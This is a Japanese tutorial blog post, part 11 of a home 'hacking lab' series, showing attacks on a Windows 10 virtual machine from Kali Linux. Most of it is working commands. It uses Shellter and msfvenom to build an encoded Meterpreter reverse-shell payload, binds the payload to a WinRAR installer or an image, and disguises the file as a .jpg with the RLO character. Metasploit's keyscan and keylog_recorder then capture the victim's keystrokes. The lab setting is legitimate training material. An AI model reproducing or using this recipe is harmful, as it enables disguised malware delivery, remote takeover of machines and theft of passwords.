【ハッキング・ラボ⑪】Windows10をハッキングする〜隠蔽化〜

Windows10に対して、ペイロードに別ファイル（インストーラー、画像）を結合させて、実行を隠蔽することを考えていきます。
また、拡張子の偽装、キーロガーでの情報奪取を学んでいきます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7
`ゲストOS3`：Windows10

攻撃端末はゲストOS1、ターゲット端末はゲストOS3です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS3が10.0.0.107です。



## ペイロードに別ファイルを結合する
ターゲットにペイロードを実行させたとしても、何のアクションもなかったり、一瞬だけ何かの画面が表示されたりすると、不審に思われてしまいます。

そこで、ペイロードに別ファイルを結合し、実行時に2つのプログラムを起動させて隠蔽することを考えます。  
この手法をバインドと呼びます。

例えば、ペイロードに画像ファイルを結合することで、表で画像を表示しながら、裏ではペイロードを実行させることができます。

ここでは、別ファイルとしてWinRARのインストーラーと画像ファイルの2つの場合を見ていきます。


### ペイロードとexeファイルをバインドする
[WinRAR](https://www.filehorse.com/download-winrar-32/35651/download/)のインストーラーをダウンロードして、デスクトップに配置します。
バージョン5.60の32ビット版を選びました。
ファイル名はwrar560.exeとします。

Shellterというツールを使用します。
以下のコマンドを実行します。
ここでは、kaliユーザーで行います。

```
$ sudo apt install shellter
$ sudo shellter
```

<img width="600" alt="hacking-lab-part11-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/fcfe985c-b36d-5457-d347-6b897cdbaf12.jpeg">

対話式で進みますので、以下のように指定します。
`Choose Operation Mode`：A
`PE Target`：/home/kali/Desktop/wrar569.exe
`Enable Stealth Mode?`：Y
`Use a listed payload or custom?`：L
`Select payload by index`：1 (reverse_tcpを指定)
`SET LHOST`：10.0.0.2
`SET LPORT`：4444

デスクトップにバインドされたペイロードが保存されました。
公開用ディレクトリに移動します。

```
# cp /home/kali/Desktop/wrar560.exe /var/www/html/share/
# service apache2 restart
```

Kali Linuxのmsfプロンプト上で以下のコマンドを実行してリバースシェルを待ち受けます。

```:msf5
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> set LPORT 4444
> exploit
```

前回でリアルタイム保護をオフにしないとペイロードのダウンロード及び実行はできないとわかっていますので、今回の実験はすべてリアルタイム保護をオフにしてから行います。

公開用ディレクトリからwrar560.exeをダウンロードした後、実行します。

Windows10でダイアログが出て、Kali Linuxではセッションが確立しました。
<img width="600" alt="hacking-lab-part11-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/e9e782f5-40e3-8666-60f3-25d6fb14eda7.jpeg">
<img width="600" alt="hacking-lab-part11-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/cd706fed-78f6-fd21-5150-7e3c1fa7664c.jpeg">

ただ、ダイアログを閉じるとセッションも閉じてしまいました。


### ペイロードと画像ファイルをバインドする
次は、画像ファイルをバインドしたペイロードを作成します。

Kali Linux側で準備をしていきます。

任意の画像を保存しておきます。
ファイル名はwallpaper.pngとしました。

以下のサイトで画像からアイコンを作成しておきます。
サイズは64ピクセル、ビット深度は8ビットにしました。
ファイル名はwallpaper.icoとしました。
[https://www.icoconverter.com/](https://www.icoconverter.com/)

ペイロードを作成します。

```
# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /home/kali/Desktop/evil4.exe
```

wallpaper.png、wallpaper.ico、evil4.exeを公開用ディレクトリに移動します。

```
# cp /home/kali/Downloads/wallpaper.png /var/www/html/share/
# cp /home/kali/Downloads/wallpaper.ico /var/www/html/share/
# cp /home/kali/Desktop/evil4.exe /var/www/html/share/
# service apache2 restart
```

Windows10側で準備をしていきます。

本来は攻撃端末であるKali Linuxでペイロードを作成するべきですが、ここではターゲット端末のWindows10で作成していきます。

[WinRAR](https://www.filehorse.com/download-winrar-32/35651/download/)をインストールしておきます。

3つのファイルをダウンロードします。
 
wallpaper.pngとevil4.exeを選択した状態で、右クリックで「Add to archive」を選びます。

WinRARでは以下の条件で画像ファイルでバインドされたペイロードを作成します。
<img width="600" alt="hacking-lab-part11-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/cbc7edf0-9c2f-4f5d-ad4a-863206ac50a5.jpeg">

最後に「OK」ボタンを押すとデスクトップにamazing_wallpaper.exeファイルが生成されます。
ファイルにはアイコンが適用されていることがわかります。
また、ここでは拡張子を非表示にしていますので、見かけ上はただの画像ファイルに見えます。
<img width="600" alt="hacking-lab-part11-5" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/0e3db8d6-b212-fdc4-3439-46c3eec865a1.jpeg">

準備はできましたので、リバースシェル接続を行います。

```:msf5
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> set LPORT 4444
> exploit
```

amazing_wallpaper.exeを実行すると、Windows10で画像が表示され、Kali Linuxではセッションが確立しました。
<img width="600" alt="hacking-lab-part11-6" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/97783f16-d251-2b02-7d5d-6973cfe4e2b9.jpeg">
<img width="600" alt="hacking-lab-part11-7" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/0ffe9908-d64a-289a-1990-65f99a2225a3.jpeg">

また、WinRARのインストーラーの場合と異なり、画像ファイルを閉じてもセッションが閉じることはありません。



## 拡張子の偽装
ここでは、拡張子を偽装することを考えていきます。
ペイロードの拡張子はexeなので、それをjpg等に偽装することができれば不審に思われる可能性が少なくなります。

先程Windows10で作成したamazing_wallpaper.exeをKali Linuxに移動します。

ファイル名をagpj.exeに変更します。

RLOという文字の流れを右から左に変えるための制御コードを使用します。

以下を実行し、gnome-charactersを立ち上げます。

```
# apt install gnome-characters
# gnome-characters
```

202Eと検索し、「Copy Character」をクリックして制御コードをコピーします。
<img width="600" alt="hacking-lab-part11-8" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/34db18b9-6a06-12b4-d7e7-818e74aa5654.jpeg">

agpj.exeのaとgの間にカーソルを移動してペーストすると、ファイル名がaexe.jpgになります。
<img width="600" alt="hacking-lab-part11-9" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/3c47ae0e-b0c1-6dc5-bd33-5d0d64af2e79.jpeg">

aexe.jpgをWindows10に移動します。

拡張子も変わり、見かけ上は画像ファイルにしか見えません。
なお、ここでは拡張子を表示する設定に変更しています。
<img width="600" alt="hacking-lab-part11-10" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/7cdd7c1e-21f6-d49e-9672-b3255bd6f9df.jpeg">

リバースシェル接続を行います。

```:msf5
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> set LPORT 4444
> exploit
```

aexe.jpgを実行すると、Windows10で画像が表示され、Kali Linuxではセッションが確立しました。
<img width="600" alt="hacking-lab-part11-11" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/ea6f13fd-8ce7-6449-c922-f3a1517004a4.jpeg">
<img width="600" alt="hacking-lab-part11-12" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/542056f7-f0bf-c96d-95b3-c3ffc8caba31.jpeg">

プロパティを開いて確認すると、本来の拡張子であるexeファイルになっていることがわかります。
<img width="600" alt="hacking-lab-part11-13" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/bcf51ea9-56ba-95e1-e2d8-12c8abd0ec7a.jpeg">



## キーロガーでの情報奪取
キーロガーとはキーの入力を記録するプログラムで、主にパスワードの奪取を目的に用いられています。

ここではキーロガーでの情報奪取について学んでいきます。

ユーザー権限でセッションが確立しているとします。

Meterpreterプロンプトで以下を実行するとキーロガーを開始できます。

```:meterpreter
> keyscan_start
```

Windows10でメモ帳を起動して文字を入力して、以下のコマンドを実行すると記録した内容（キーログ）を表示します。

```:meterpreter
> keyscan_dump
```

キーログには英数字、Shiftキー、Enterキーの入力も記録されます。

以下のコマンドでキーロガーを終了します。

```:meterpreter
> keyscan_stop
```

これは簡易的なものなので、本格的に行うならMetasploitに用意されているキーロガーモジュールを使用します。
Meterpreterプロンプトで以下を実行します。セッションは1とします。
実行すると、キーログファイルがダウンロードされます。

```:msf5
> use post/windows/capture/keylog_recorder
> set SESSION 1
> run
```

また、リアルタイムにキーログを監視するには以下のコマンドを実行します。

```
# tail -f ダウンロードされたキーログファイルのパス
```